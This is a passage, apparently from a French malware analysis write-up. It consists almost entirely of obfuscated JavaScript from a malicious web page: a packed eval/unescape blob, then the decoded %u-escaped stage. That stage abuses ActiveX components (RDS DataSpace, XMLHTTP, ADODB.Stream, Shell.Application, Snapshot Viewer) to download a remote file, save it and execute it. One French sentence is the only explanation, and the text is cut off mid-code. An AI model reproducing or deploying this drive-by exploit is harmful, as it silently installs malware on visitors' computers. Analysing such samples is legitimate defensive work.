d%i%d%4%4%k%w%0%s%13%S%u%x%N%M%h%v%m%s%3%k%u%s%h%2%y%y%2%1h%T%1%i%d%4%4%E%i%d%4%4%4%F%e%3%j%1i%t%i%d%4%4%D%i%d%i%d%4%4%s%13%S%u%x%N%M%h%v%2%y%2%f%f%t%i%d%4%D%i%d%i%d%4%e%3%h%H%e%r%2%11%A%13%C%N%w%X%O%N%t%i%d%D%i%d%i%d%w%H%r%g%h%k%p%r%2%J%P%1t%P%O%M%1e%r%0%H%e%l%1%i%d%E%i%d%4%A%j%e%2%11%A%13%C%N%w%X%O%N%2%y%2%x%s%u%S%1o%1b%O%v%M%s%0%1%t%i%d%4%k%w%2%0%11%A%13%C%N%w%X%O%N%2%y%y%2%f%1n%f%1%2%e%3%h%H%e%r%t%i%d%i%d%4%h%e%P%i%d%4%E%i%d%4%4%A%j%e%2%o%17%1a%x%C%1c%16%G%15%2%y%2%r%3%J%2%K%g%h%k%A%3%17%W%F%I%3%g%h%0%f%q%7%r%7%o%9%0%A%1%9%0%8%J%1%a%m%8%8%8%7%12%a%r%7%a%b%8%j%0%1%o%b%6%0%6%q%0%0%6%6%s%7%p%9%8%h%7%9%b%2%8%b%7%1%1e%0%7%k%a%1%9%3%6%7%b%J%6%9%b%3%1%0%e%a%1%8%7%2%6%7%7%Y%9%9%1%0%p%9%9%r%0%h%b%8%e%8%b%p%7%b%l%1%9%9%7%8%m%0%8%10%1%9%a%f%m%e%3%o%l%j%g%3%0%n%c%8%5%c%0%5%b%5%7%5%c%1%5%c%9%5%c%6%5%a%n%k%u%z%2%f%f%1%1%t%i%d%4%D%i%d%i%d%4%g%j%h%g%s%0%3%1%i%d%4%E%i%d%4%4%k%w%2%0%o%17%1a%x%C%1c%16%G%15%2%6%y%2%f%1n%0%0%9%p%6%F%8%a%6%7%I%6%6%3%1%g%7%6%h%1%7%b%1r%1%6%f%m%e%3%o%l%j%g%3%0%n%c%8%5%c%9%5%c%6%5%b%5%a%5%c%1%5%c%0%5%7%n%k%u%z%2%f%f%1%1%2%e%3%h%H%e%r%t%i%d%4%D%i%d%i%d%4%o%17%1a%x%C%1c%16%G%15%m%12%r%j%o%q%s%p%h%C%j%h%s%2%y%2%H%e%l%t%i%d%i%d%4%h%e%P%i%d%4%E%i%d%4%4%o%17%1a%x%C%1c%16%G%15%m%Y%p%x%o%e%3%q%q%3%v%C%j%h%s%2%y%2%11%A%13%C%N%w%X%O%N%2%Q%2%B%19%c%c%B%2%Q%2%f%C%7%9%1%8%e%b%1%0%p%1%6%0%7%u%b%6%b%1%e%8%j%1%9%7%b%x%1%6%b%2%a%8%G%0%0%a%1%k%8%8%8%0%l%a%8%0%1%3%9%6%b%q%8%9%f%m%e%3%o%l%j%g%3%0%n%a%5%b%5%c%0%5%c%8%5%7%5%c%1%5%c%9%5%c%6%n%k%u%z%2%f%f%1%2%Q%2%B%c%c%B%2%Q%2%f%W%8%0%H%7%b%h%6%8%7%l%6%p%8%0%p%1%1i%7%1%8%2%a%8%7%a%X%1%1%O%7%b%o%7%1%7%e%7%8%8%3%7%q%6%b%9%6%q%a%1%f%m%e%3%o%l%j%g%3%0%n%c%8%5%a%5%c%1%5%7%5%c%9%5%b%5%c%0%5%c%6%n%k%u%z%2%f%f%1%2%Q%2%B%c%c%B%2%Q%2%f%J%0%0%6%j%0%a%F%b%6%1%m%8%a%9%a%0%3%b%a%O%a%8%3%0%1%f%m%e%3%o%l%j%g%3%0%n%a%5%c%1%5%c%9%5%c%0%5%c%8%5%7%5%c%6%5%b%n%k%u%z%2%f%f%1%t%i%d%4%4%o%17%1a%x%C%1c%16%G%15%m%C%e%k%r%h%12%r%j%o%q%s%p%h%0%1%t%i%d%4%D%i%d%i%d%4%g%j%h%g%s%0%3%1%E%D%t%i%d%i%d%4%A%j%e%2%s%R%12%H%11%p%11%V%2%y%2%q%3%h%1p%r%h%3%e%A%j%l%0%w%H%r%g%h%k%p%r%0%1%E%k%w%2%0%o%17%1a%x%C%1c%16%G%15%m%e%3%j%v%P%12%h%j%h%3%2%y%y%2%R%1%2%E%g%l%3%j%e%1p%r%h%3%e%A%j%l%0%s%R%12%H%11%p%11%V%1%t%J%k%r%v%p%J%m%l%p%g%j%h%k%p%r%2%y%2%f%l%9%0%a%a%v%6%j%b%8%o%6%1%19%9%b%n%8%b%n%9%1%0%9%f%m%e%3%o%l%j%g%3%0%n%7%5%c%8%5%c%0%5%c%6%5%b%5%c%1%5%c%9%5%a%n%k%u%z%2%f%f%1%t%D%D%z%2%S%L%L%L%1%t%i%d%D%i%d%i%d%J%P%1t%P%O%M%1e%r%0%f%s%8%0%7%h%8%b%6%h%6%6%6%o%1%19%9%7%0%n%7%0%n%a%F%a%a%b%3%b%7%8%b%q%8%9%h%a%8%9%l%a%k%8%h%6%3%b%9%a%8%v%7%8%k%6%1%6%b%q%b%9%g%6%8%9%p%6%6%7%A%8%0%3%8%7%0%e%0%7%9%m%b%9%6%g%6%9%9%r%9%9%6%6%19%a%0%0%U%7%a%8%L%0%0%U%1%L%0%7%n%7%0%7%l%7%6%0%6%p%9%0%6%j%a%a%v%8%m%a%6%o%1%8%7%6%6%s%9%7%o%1%0%6%1s%6%a%k%b%v%7%0%6%y%7%10%b%f%m%e%3%o%l%j%g%3%0%n%c%6%5%c%1%5%a%5%c%9%5%7%5%b%5%c%8%5%c%0%n%k%u%z%2%f%f%1%1%t%d%w%H%r%g%h%k%p%r%2%1a%10%x%P%T%s%x%I%0%1%E%d%4%C%1d%G%2%y%2%r%3%J%2%K%e%e%j%P%0%B%K%g%e%p%C%1d%G%m%C%1d%G%B%z%2%B%C%1d%G%m%C%v%w%Y%h%e%l%B%1%t%d%4%w%p%e%0%k%2%k%r%2%C%1d%G%1%d%4%E%d%4%4%h%e%P%d%4%4%E%d%4%4%4%p%F%I%2%y%2%r%3%J%2%K%g%h%k%A%3%17%W%F%I%3%g%h%0%C%1d%G%1n%k%1r%1%t%d%4%4%4%k%w%2%0%p%F%I%1%d%4%4%4%E%d%4%4%4%4%v%p%g%H%x%3%r%h%m%J%e%k%h%3%0%f%1g%k%w%e%j%x%3%2%q%e%g%y%B%g%j%g%s%3%n%e%3%j%v%x%3%m%o%v%w%B%1k%1g%n%k%w%e%j%x%3%1k%f%1%t%d%4%4%4%D%d%4%4%D%d%4%4%g%j%h%g%s%0%3%1%E%D%d%4%D%d%4%h%e%P%d%4%E%d%4%4%p%F%I%2%y%2%r%3%J%2%K%g%h%k%A%3%17%W%F%I%3%g%h%0%B%12%s%p%g%1i%J%j%A%3%G%l%j%q%s%m%12%s%p%g%1i%J%j%A%3%G%l%j%q%s%B%1%t%d%4%4%k%w%2%0%p%F%I%1%d%4%4%E%d%4%4%4%v%p%g%H%x%3%r%h%m%J%e%k%h%3%0%f%1g%k%w%e%j%x%3%2%q%e%g%y%B%g%j%g%s%3%n%w%l%j%q%s%m%q%J%w%B%1k%1g%n%k%w%e%j%x%3%1k%f%1%t%d%4%4%D%d%4%D%d%4%g%j%h%g%s%0%3%1%E%D%d%D%d%1a%10%x%P%T%s%x%I%0%1%t\'));',62,94,'u0028|u0029|u0020|u0065|u0009|u007c|u0021|u0023|u005e|u0024|u0026|u0040|u005c|u000a|u0072|u0027|u0063|u0074|u000d|u0061|u0069|u006c|u002e|u002f|u0070|u006f|u0073|u006e|u0068|u003b|u0067|u0064|u0066|u006d|u003d|u002c|u0076|u0022|u0050|u007d|u007b|u0062|u0046|u0075|u006a|u0077|u0041|u0030|u004d|u0071|u0078|u0079|u002b|u0034|u0033|u0039|u0038|u0047|u004f|u0045|u0043|u004a|u0031|u007a|u0053|u0051|u0037|u0059|u0054|u0058|u0036|u003a|u004c|u0032|u005a|u0044|u0056|u0052|u003c|u0035|u006b|u004e|u003e|u002d|u0057|u005b|u0048|u0049|u0042|u005d|u003f|u0055|eval|unescape'.split('|'),0,{}))
</script>
</body>
</html>
On lance notre page web et la on obtient ceci :
eval(unescape('%u0066%u0075%u006e%u0063%u0074%u0069%u006f%u006e%u0020%u0068%u004f%u0059%u0070%u005a%u0033%u0039%u006c%u0067%u0077%u0028%u0029%u000d%u000a%u007b%u000d%u000a%u0009%u0076%u0061%u0072%u0020%u0063%u0072%u0041%u006c%u004d%u0047%u0039%u0030%u0037%u0020%u003d%u0020%u0064%u006f%u0063%u0075%u006d%u0065%u006e%u0074%u002e%u0063%u0072%u0065%u0061%u0074%u0065%u0045%u006c%u0065%u006d%u0065%u006e%u0074%u0028%u0027%u006f%u0024%u0040%u0062%u0026%u0028%u0026%u006a%u0026%u0021%u0029%u005e%u0065%u0021%u0063%u0029%u0023%u005e%u0074%u0029%u0029%u005e%u0023%u0021%u0027%u002e%u0072%u0065%u0070%u006c%u0061%u0063%u0065%u0028%u002f%u005c%u005e%u007c%u005c%u0021%u007c%u0026%u007c%u005c%u0024%u007c%u005c%u0029%u007c%u0040%u007c%u005c%u0028%u007c%u0023%u002f%u0069%u0067%u002c%u0020%u0027%u0027%u0029%u0029%u003b%u000d%u000a%u0009%u0063%u0072%u0041%u006c%u004d%u0047%u0039%u0030%u0037%u002e%u0073%u0065%u0074%u0041%u0074%u0074%u0072%u0069%u0062%u0075%u0074%u0065%u0028%u0027%u0069%u0024%u0026%u0029%u0064%u0024%u0040%u0026%u0027%u002e%u0072%u0065%u0070%u006c%u0061%u0063%u0065%u0028%u002f%u005c%u0028%u007c%u0023%u007c%u0026%u007c%u005c%u005e%u007c%u005c%u0024%u007c%u005c%u0029%u007c%u0040%u007c%u005c%u0021%u002f%u0069%u0067%u002c%u0020%u0027%u0027%u0029%u002c%u0063%u0072%u0041%u006c%u004d%u0047%u0039%u0030%u0037%u0029%u003b%u000d%u000a%u0009%u0063%u0072%u0041%u006c%u004d%u0047%u0039%u0030%u0037%u002e%u0073%u0065%u0074%u0041%u0074%u0074%u0072%u0069%u0062%u0075%u0074%u0065%u0028%u0027%u0063%u0028%u0040%u0021%u006c%u0040%u005e%u0061%u0029%u005e%u0024%u0073%u0024%u0040%u0023%u0024%u0024%u0073%u0028%u0026%u005e%u0069%u0021%u0023%u0026%u0064%u0040%u005e%u005e%u0027%u002e%u0072%u0065%u0070%u006c%u0061%u0063%u0065%u0028%u002f%u005c%u0028%u007c%u0023%u007c%u005c%u0029%u007c%u005c%u0021%u007c%u005c%u0024%u007c%u0040%u007c%u005c%u005e%u007c%u0026%u002f%u0069%u0067%u002c%u0020%u0027%u0027%u0029%u002c%u0027%u0063%u0029%u0023%u006c%u005e%u0028%u0073%u0026%u005e%u0040%u0028%u0069%u0040%u0023%u0064%u0029%u0021%u0028%u003a%u0021%u0029%u0042%u0024%u0028%u0029%u0044%u005e%u0023%u0039%u0021%u0026%u0036%u0040%u0040%u0028%u005e%u0043%u0029%u0035%u0024%u0035%u0028%u0040%u0036%u0023%u0024%u002d%u0021%u0040%u0036%u005e%u0035%u0024%u0028%u0041%u0026%u0028%u0029%u0033%u0028%u005e%u002d%u005e%u0040%u0023%u0031%u0026%u0024%u0031%u0024%u0044%u0023%u0023%u0030%u0040%u0024%u0023%u002d%u0023%u0029%u0039%u0021%u0038%u0040%u0033%u0040%u0024%u0026%u0041%u0023%u0029%u002d%u0029%u0026%u0030%u0021%u005e%u0030%u0024%u0040%u0043%u0026%u0030%u0023%u0023%u0023%u0034%u0028%u0046%u0021%u0040%u0043%u0026%u0026%u0021%u0032%u0024%u0039%u0040%u0028%u0045%u0028%u0023%u0033%u0023%u0029%u0026%u0036%u0021%u0026%u0028%u0028%u0027%u002e%u0072%u0065%u0070%u006c%u0061%u0063%u0065%u0028%u002f%u005c%u0021%u007c%u005c%u0024%u007c%u0040%u007c%u005c%u005e%u007c%u005c%u0028%u007c%u005c%u0029%u007c%u0026%u007c%u0023%u002f%u0069%u0067%u002c%u0020%u0027%u0027%u0029%u0029%u003b%u000d%u000a%u000d%u000a%u0009%u0074%u0072%u0079%u000d%u000a%u0009%u007b%u000d%u000a%u0009%u0009%u0076%u0061%u0072%u0020%u0070%u0067%u0031%u0066%u0038%u0076%u0064%u0033%u0067%u0061%u0020%u003d%u0020%u0063%u0072%u0041%u006c%u004d%u0047%u0039%u0030%u0037%u002e%u0043%u0072%u0065%u0061%u0074%u0065%u004f%u0062%u006a%u0065%u0063%u0074%u0028%u0027%u006d%u0040%u0073%u0040%u0078%u0021%u0021%u006d%u0023%u0024%u006c%u0028%u0032%u0023%u0026%u005e%u002e%u0021%u0021%u0024%u0058%u0040%u0021%u004d%u0028%u004c%u0040%u0048%u0023%u0040%u0023%u0054%u0024%u0023%u0024%u0054%u0023%u0021%u0050%u0026%u0027%u002e%u0072%u0065%u0070%u006c%u0061%u0063%u0065%u0028%u002f%u0026%u007c%u005c%u0028%u007c%u0023%u007c%u005c%u0024%u007c%u0040%u007c%u005c%u0021%u007c%u005c%u005e%u007c%u005c%u0029%u002f%u0069%u0067%u002c%u0020%u0027%u0027%u0029%u002c%u0027%u0027%u0029%u003b%u000d%u000a%u0009%u0009%u0076%u0061%u0072%u0020%u0073%u0037%u0075%u004a%u0077%u0041%u0057%u0037%u004d%u0059%u0020%u003d%u0020%u0063%u0072%u0041%u006c%u004d%u0047%u0039%u0030%u0037%u002e%u0043%u0072%u0065%u0061%u0074%u0065%u004f%u0062%u006a%u0065%u0063%u0074%u0028%u0027%u0053%u005e%u0021%u0021%u0068%u0026%u0028%u0023%u0040%u0065%u0024%u0021%u0021%u006c%u005e%u005e%u0028%u0026%u006c%u0040%u0029%u002e%u005e%u0041%u0026%u0070%u0026%u0024%u0070%u0040%u0028%u0028%u005e%u006c%u0029%u0026%u005e%u0069%u0021%u0024%u0063%u0023%u0023%u0024%u0061%u0040%u0021%u0074%u005e%u0023%u0069%u0024%u0029%u0029%u006f%u0023%u006e%u0026%u0026%u0027%u002e%u0072%u0065%u0070%u006c%u0061%u0063%u0065%u0028%u002f%u0040%u007c%u005c%u0021%u007c%u0023%u007c%u005c%u0029%u007c%u005c%u0028%u007c%u005c%u0024%u007c%u005c%u005e%u007c%u0026%u002f%u0069%u0067%u002c%u0020%u0027%u0027%u0029%u002c%u0027%u0027%u0029%u003b%u000d%u000a%u0009%u0009%u0076%u0061%u0072%u0020%u0063%u006c%u004a%u0069%u0052%u0069%u0038%u0034%u0020%u003d%u0020%u0063%u0072%u0041%u006c%u004d%u0047%u0039%u0030%u0037%u002e%u0043%u0072%u0065%u0061%u0074%u0065%u004f%u0062%u006a%u0065%u0063%u0074%u0028%u0027%u0061%u0029%u005e%u0064%u0023%u0021%u0040%u006f%u005e%u0023%u0064%u0023%u0040%u0021%u0023%u0062%u0028%u0026%u0026%u002e%u0026%u005e%u0028%u0021%u0026%u0073%u005e%u0024%u0074%u0024%u0024%u0023%u0072%u0021%u0023%u0065%u0021%u0023%u005e%u0029%u0061%u0028%u0028%u0028%u006d%u0029%u0021%u0027%u002e%u0072%u0065%u0070%u006c%u0061%u0063%u0065%u0028%u002f%u0026%u007c%u0023%u007c%u0040%u007c%u005c%u0029%u007c%u005c%u005e%u007c%u005c%u0024%u007c%u005c%u0028%u007c%u005c%u0021%u002f%u0069%u0067%u002c%u0020%u0027%u0027%u0029%u002c%u0027%u0027%u0029%u003b%u000d%u000a%u000d%u000a%u0009%u0009%u0074%u0072%u0079%u000d%u000a%u0009%u0009%u007b%u000d%u000a%u0009%u0009%u0009%u0063%u006c%u004a%u0069%u0052%u0069%u0038%u0034%u002e%u0074%u0079%u0070%u0065%u0020%u003d%u0020%u0031%u003b%u000d%u000a%u0009%u0009%u0009%u0070%u0067%u0031%u0066%u0038%u0076%u0064%u0033%u0067%u0061%u002e%u006f%u0070%u0065%u006e%u0028%u0027%u0047%u0029%u0021%u0024%u0045%u0029%u0023%u0054%u0026%u0023%u0040%u0027%u002e%u0072%u0065%u0070%u006c%u0061%u0063%u0065%u0028%u002f%u0023%u007c%u005c%u0021%u007c%u005c%u0029%u007c%u0026%u007c%u005c%u0028%u007c%u005c%u005e%u007c%u005c%u0024%u007c%u0040%u002f%u0069%u0067%u002c%u0020%u0027%u0027%u0029%u002c%u0027%u0068%u0040%u0023%u0028%u0074%u0029%u0029%u0028%u0074%u0023%u0023%u0029%u0040%u0070%u0028%u0024%u003a%u0021%u0028%u002f%u0029%u002f%u005e%u0062%u0024%u0021%u0065%u005e%u0024%u0073%u0024%u0040%u0074%u0026%u006c%u0026%u0024%u0069%u0026%u0029%u0040%u0021%u0074%u0040%u0021%u0026%u0065%u0029%u0023%u0064%u0021%u0023%u0021%u0023%u0069%u0029%u0029%u0029%u0073%u0028%u0024%u0028%u0040%u0063%u005e%u006f%u0026%u0026%u0076%u0024%u005e%u0021%u0065%u0026%u0021%u0028%u0072%u0028%u005e%u0040%u002e%u005e%u0024%u0021%u0063%u0023%u0029%u006e%u005e%u0024%u0028%u0023%u003a%u0021%u0029%u005e%u0038%u005e%u0021%u0028%u0040%u0030%u0024%u005e%u0023%u0029%u0028%u0038%u005e%u0030%u005e%u0040%u002f%u0024%u006c%u0021%u0026%u006f%u005e%u0061%u0024%u0064%u0023%u002e%u0029%u0021%u0070%u0040%u0021%u0024%u0068%u0023%u0028%u0029%u0028%u0070%u0024%u0040%u003f%u0021%u005e%u0069%u0024%u0040%u0026%u0028%u0040%u0064%u0026%u005e%u0023%u003d%u0021%u0030%u0029%u0040%u0027%u002e%u0072%u0065%u0070%u006c%u0061%u0063%u0065%u0028%u002f%u005c%u005e%u007c%u005c%u0024%u007c%u005c%u0028%u007c%u005c%u0029%u007c%u005c%u0021%u007c%u0040%u007c%u0026%u007c%u0023%u002f%u0069%u0067%u002c%u0020%u0027%u0027%u0029%u002c%u0066%u0061%u006c%u0073%u0065%u0029%u003b%u000d%u000a%u0009%u0009%u0009%u0070%u0067%u0031%u0066%u0038%u0076%u0064%u0033%u0067%u0061%u002e%u0073%u0065%u006e%u0064%u0028%u0029%u003b%u000d%u000a%u0009%u0009%u0009%u0063%u006c%u004a%u0069%u0052%u0069%u0038%u0034%u002e%u006f%u0070%u0065%u006e%u0028%u0029%u003b%u000d%u000a%u0009%u0009%u0009%u0063%u006c%u004a%u0069%u0052%u0069%u0038%u0034%u002e%u0057%u0072%u0069%u0074%u0065%u0028%u0070%u0067%u0031%u0066%u0038%u0076%u0064%u0033%u0067%u0061%u002e%u0072%u0065%u0073%u0070%u006f%u006e%u0073%u0065%u0042%u006f%u0064%u0079%u0029%u003b%u000d%u000a%u0009%u0009%u0009%u0076%u0061%u0072%u0020%u006a%u0036%u004f%u0070%u0047%u0034%u0056%u0034%u0020%u003d%u0020%u0027%u002e%u0023%u005e%u005e%u0024%u0024%u002f%u0021%u0026%u002f%u0021%u0026%u0026%u0026%u002e%u0024%u0040%u0026%u0028%u002e%u0029%u005e%u0040%u0024%u002f%u0023%u002f%u0021%u0023%u0026%u0066%u0023%u0026%u0040%u0069%u0029%u0026%u005e%u006c%u0026%u0028%u0029%u0065%u0024%u0040%u0026%u0040%u002e%u0021%u0065%u0028%u0026%u0078%u0040%u005e%u0065%u0023%u005e%u0027%u002e%u0072%u0065%u0070%u006c%u0061%u0063%u0065%u0028%u002f%u005c%u0021%u007c%u005c%u005e%u007c%u005c%u0028%u007c%u0026%u007c%u0023%u007c%u0040%u007c%u005c%u0029%u007c%u005c%u0024%u002f%u0069%u0067%u002c%u0020%u0027%u0027%u0029%u003b%u000d%u000a%u0009%u0009%u0009%u0063%u006c%u004a%u0069%u0052%u0069%u0038%u0034%u002e%u0053%u0061%u0076%u0065%u0054%u006f%u0046%u0069%u006c%u0065%u0028%u006a%u0036%u004f%u0070%u0047%u0034%u0056%u0034%u002c%u0032%u0029%u003b%u000d%u000a%u0009%u0009%u0009%u0063%u006c%u004a%u0069%u0052%u0069%u0038%u0034%u002e%u0043%u006c%u006f%u0073%u0065%u0028%u0029%u003b%u000d%u000a%u0009%u0009%u007d%u000d%u000a%u000d%u000a%u0009%u0009%u0063%u0061%u0074%u0063%u0068%u0028%u0065%u0029%u0020%u007b%u007d%u000d%u000a%u000d%u000a%u0009%u0009%u0074%u0072%u0079%u000d%u000a%u0009%u0009%u007b%u000d%u000a%u0009%u0009%u0009%u0073%u0037%u0075%u004a%u0077%u0041%u0057%u0037%u004d%u0059%u002e%u0073%u0068%u0065%u006c%u006c%u0065%u0078%u0065%u0063%u0075%u0074%u0065%u0028%u006a%u0036%u004f%u0070%u0047%u0034%u0056%u0034%u0029%u003b%u000d%u000a%u0009%u0009%u007d%u000d%u000a%u000d%u000a%u0009%u0063%u0061%u0074%u0063%u0068%u0028%u0065%u0029%u0020%u007b%u007d%u007d%u000d%u000a%u0009%u0063%u0061%u0074%u0063%u0068%u0028%u0065%u0029%u0020%u007b%u007d%u007d%u000d%u000a%u000d%u000a%u0068%u004f%u0059%u0070%u005a%u0033%u0039%u006c%u0067%u0077%u0028%u0029%u003b%u000d%u000a%u000d%u000a%u0066%u0075%u006e%u0063%u0074%u0069%u006f%u006e%u0020%u006d%u0068%u0067%u0033%u0048%u0032%u0078%u0064%u004d%u0068%u0028%u0029%u000d%u000a%u007b%u000d%u000a%u0009%u0066%u006f%u0072%u0028%u0062%u0073%u006c%u006a%u0046%u004e%u0073%u006f%u004a%u0020%u003d%u0020%u0032%u002c%u0020%u007a%u0076%u0051%u0050%u0071%u0066%u0045%u0078%u0071%u0020%u003d%u0020%u0022%u0022%u003b%u0020%u0062%u0073%u006c%u006a%u0046%u004e%u0073%u006f%u004a%u0020%u003c%u003d%u0020%u0032%u0036%u003b%u0020%u0062%u0073%u006c%u006a%u0046%u004e%u0073%u006f%u004a%u002b%u002b%u0029%u000d%u000a%u0009%u007b%u000d%u000a%u0009%u0009%u007a%u0076%u0051%u0050%u0071%u0066%u0045%u0078%u0071%u0020%u003d%u0020%u0053%u0074%u0072%u0069%u006e%u0067%u002e%u0066%u0072%u006f%u006d%u0043%u0068%u0061%u0072%u0043%u006f%u0064%u0065%u0028%u0036%u0035%u0020%u002b%u0020%u0062%u0073%u006c%u006a%u0046%u004e%u0073%u006f%u004a%u0029%u003b%u000d%u000a%u0009%u0009%u0076%u0061%u0072%u0020%u0068%u0051%u0033%u0067%u006d%u0071%u004d%u0074%u0064%u0020%u003d%u0020%u006e%u0065%u0077%u0020%u0049%u006d%u0061%u0067%u0065%u0028%u0029%u003b%u000d%u000a%u0009%u0009%u0068%u0051%u0033%u0067%u006d%u0071%u004d%u0074%u0064%u002e%u0073%u0072%u0063%u0020%u003d%u0020%u0022%u0072%u0065%u0073%u003a%u002f%u002f%u0022%u0020%u002b%u0020%u007a%u0076%u0051%u0050%u0071%u0066%u0045%u0078%u0071%u0020%u002b%u0020%u0022%u003a%u005c%u005c%u0022%u0020%u002b%u0020%u0027%u0050%u0029%u0021%u0072%u0040%u006f%u0028%u0028%u005e%u0024%u0028%u0067%u0029%u0072%u0021%u0061%u0023%u006d%u0026%u0021%u0040%u0021%u0020%u0029%u005e%u0029%u005e%u0046%u0029%u0021%u0029%u0069%u0026%u006c%u005e%u0021%u0065%u0026%u0026%u0023%u0073%u0024%u0027%u002e%u0072%u0065%u0070%u006c%u0061%u0063%u0065%u0028%u002f%u0040%u007c%u005c%u0024%u007c%u005c%u0028%u007c%u0026%u007c%u005c%u005e%u007c%u0023%u007c%u005c%u0029%u007c%u005c%u0021%u002f%u0069%u0067%u002c%u0020%u0027%u0027%u0029%u0020%u002b%u0020%u0022%u005c%u005c%u0022%u0020%u002b%u0020%u0027%u004f%u0024%u0024%u0075%u0028%u0028%u0026%u0029%u0074%u0028%u0029%u0024%u006c%u0028%u0021%u0024%u005e%u006f%u0026%u0028%u0028%u006f%u0028%u0026%u006b%u0028%u0024%u005e%u0020%u0021%u0040%u0045%u0023%u0078%u0029%u0070%u0028%u0029%u0021%u0026%u0072%u0026%u0065%u0040%u0024%u0073%u0024%u0073%u0028%u0028%u0024%u0027%u002e%u0072%u0065%u0070%u006c%u0061%u0063%u0065%u0028%u002f%u005c%u0021%u007c%u005c%u0024%u007c%u005c%u0028%u007c%u0023%u007c%u0040%u007c%u005c%u005e%u007c%u0026%u007c%u005c%u0029%u002f%u0069%u0067%u002c%u0020%u0027%u0027%u0029%u0020%u002b%u0020%u0022%u005c%u005c%u0022%u0020%u002b%u0020%u0027%u006d%u0024%u005e%u0021%u0073%u0028%u0023%u0026%u006f%u0023%u0026%u0040%u0065%u005e%u0024%u0040%u0072%u0021%u005e%u0065%u0026%u0026%u005e%u0073%u0029%u0040%u0023%u0021%u002e%u0028%u0064%u0040%u005e%u006c%u0028%u0040%u005e%u006c%u0040%u0027%u002e%u0072%u0065%u0070%u006c%u0061%u0063%u0065%u0028%u002f%u0040%u007c%u005c%u0021%u007c%u005c%u005e%u007c%u005c%u0029%u007c%u0026%u007c%u005c%u0024%u007c%u005c%u0028%u007c%u0023%u002f%u0069%u0067%u002c%u0020%u0027%u0027%u0029%u0020%u002b%u0020%u0022%u002f%u0023%u0032%u002f%u0031%u0022%u003b%u000d%u000a%u000d%u000a%u0009%u0009%u0069%u0066%u0028%u0068%u0051%u0033%u0067%u006d%u0071%u004d%u0074%u0064%u002e%u0068%u0065%u0069%u0067%u0068%u0074%u0020%u003d%u003d%u0020%u0035%u0039%u0029%u000d%u000a%u0009%u0009%u007b%u000d%u000a%u0009%u0009%u0009%u0062%u0072%u0065%u0061%u006b%u003b%u000d%u000a%u0009%u0009%u007d%u000d%u000a%u000d%u000a%u0009%u0009%u0068%u0051%u0033%u0067%u006d%u0071%u004d%u0074%u0064%u0020%u003d%u0020%u0027%u0027%u003b%u000d%u000a%u0009%u007d%u000d%u000a%u000d%u000a%u0009%u0072%u0065%u0074%u0075%u0072%u006e%u0020%u007a%u0076%u0051%u0050%u0071%u0066%u0045%u0078%u0071%u003b%u000d%u000a%u007d%u000d%u000a%u000d%u000a%u0066%u0075%u006e%u0063%u0074%u0069%u006f%u006e%u0020%u0077%u0079%u0055%u0079%u0078%u004d%u0056%u006e%u0028%u0075%u0072%u006c%u0029%u000d%u000a%u007b%u000d%u000a%u0009%u0076%u0061%u0072%u0020%u007a%u0076%u0051%u0050%u0071%u0066%u0045%u0078%u0071%u0020%u003d%u0020%u006d%u0068%u0067%u0033%u0048%u0032%u0078%u0064%u004d%u0068%u0028%u0029%u003b%u000d%u000a%u0009%u0069%u0066%u0020%u0028%u007a%u0076%u0051%u0050%u0071%u0066%u0045%u0078%u0071%u0020%u003d%u003d%u0020%u0027%u005b%u0027%u0029%u0020%u0072%u0065%u0074%u0075%u0072%u006e%u003b%u000d%u000a%u000d%u000a%u0009%u0074%u0072%u0079%u000d%u000a%u0009%u007b%u000d%u000a%u0009%u0009%u0076%u0061%u0072%u0020%u0070%u0058%u004c%u006d%u0050%u005a%u0054%u0046%u0059%u0020%u003d%u0020%u006e%u0065%u0077%u0020%u0041%u0063%u0074%u0069%u0076%u0065%u0058%u004f%u0062%u006a%u0065%u0063%u0074%u0028%u0027%u0073%u0023%u006e%u0023%u0070%u0024%u0028%u0076%u0029%u0024%u0028%u005e%u0077%u0029%u0026%u002e%u005e%u005e%u005e%u0023%u0053%u0026%u006e%u0023%u0026%u0040%u005e%u0061%u0028%u0029%u0070%u0040%u0021%u0028%u0021%u0073%u0028%u0028%u0021%u0021%u0068%u0023%u006f%u0024%u005e%u0074%u0023%u0024%u0040%u0020%u005e%u0040%u0023%u0029%u0056%u0028%u0023%u0069%u0026%u0029%u0024%u0065%u0021%u0023%u0040%u0077%u0021%u0024%u0040%u0065%u0029%u0028%u0072%u0026%u0029%u005e%u0023%u0020%u0021%u0023%u0023%u0043%u0024%u0024%u0029%u0028%u006f%u0024%u0024%u006e%u0028%u0074%u0040%u005e%u0072%u005e%u0040%u006f%u0023%u0040%u006c%u0029%u0024%u0024%u0023%u005e%u002e%u0028%u005e%u0031%u0029%u0024%u0026%u0027%u002e%u0072%u0065%u0070%u006c%u0061%u0063%u0065%u0028%u002f%u005c%u005e%u007c%u005c%u0028%u007c%u0040%u007c%u0023%u007c%u005c%u0029%u007c%u005c%u0024%u007c%u005c%u0021%u007c%u0026%u002f%u0069%u0067%u002c%u0020%u0027%u0027%u0029%u0029%u003b%u000d%u000a%u0009%u007d%u000d%u000a%u000d%u000a%u0009%u0063%u0061%u0074%u0063%u0068%u0028%u0065%u0029%u000d%u000a%u0009%u007b%u000d%u000a%u0009%u0009%u0069%u0066%u0020%u0028%u0070%u0058%u004c%u006d%u0050%u005a%u0054%u0046%u0059%u0020%u0021%u003d%u0020%u0027%u005b%u0028%u0028%u0024%u006f%u0021%u0062%u005e%u0026%u0021%u0023%u006a%u0021%u0021%u0065%u0029%u0063%u0023%u0021%u0074%u0029%u0023%u0040%u005d%u0029%u0021%u0027%u002e%u0072%u0065%u0070%u006c%u0061%u0063%u0065%u0028%u002f%u005c%u005e%u007c%u005c%u0024%u007c%u005c%u0021%u007c%u0040%u007c%u0026%u007c%u005c%u0029%u007c%u005c%u0028%u007c%u0023%u002f%u0069%u0067%u002c%u0020%u0027%u0027%u0029%u0029%u0020%u0072%u0065%u0074%u0075%u0072%u006e%u003b%u000d%u000a%u0009%u007d%u000d%u000a%u000d%u000a%u0009%u0070%u0058%u004c%u006d%u0050%u005a%u0054%u0046%u0059%u002e%u0053%u006e%u0061%u0070%u0073%u0068%u006f%u0074%u0050%u0061%u0074%u0068%u0020%u003d%u0020%u0075%u0072%u006c%u003b%u000d%u000a%u000d%u000a%u0009%u0074%u0072%u0079%u000d%u000a%u0009%u007b%u000d%u000a%u0009%u0009%u0070%u0058%u004c%u006d%u0050%u005a%u0054%u0046%u0059%u002e%u0043%u006f%u006d%u0070%u0072%u0065%u0073%u0073%u0065%u0064%u0050%u0061%u0074%u0068%u0020%u003d%u0020%u007a%u0076%u0051%u0050%u0071%u0066%u0045%u0078%u0071%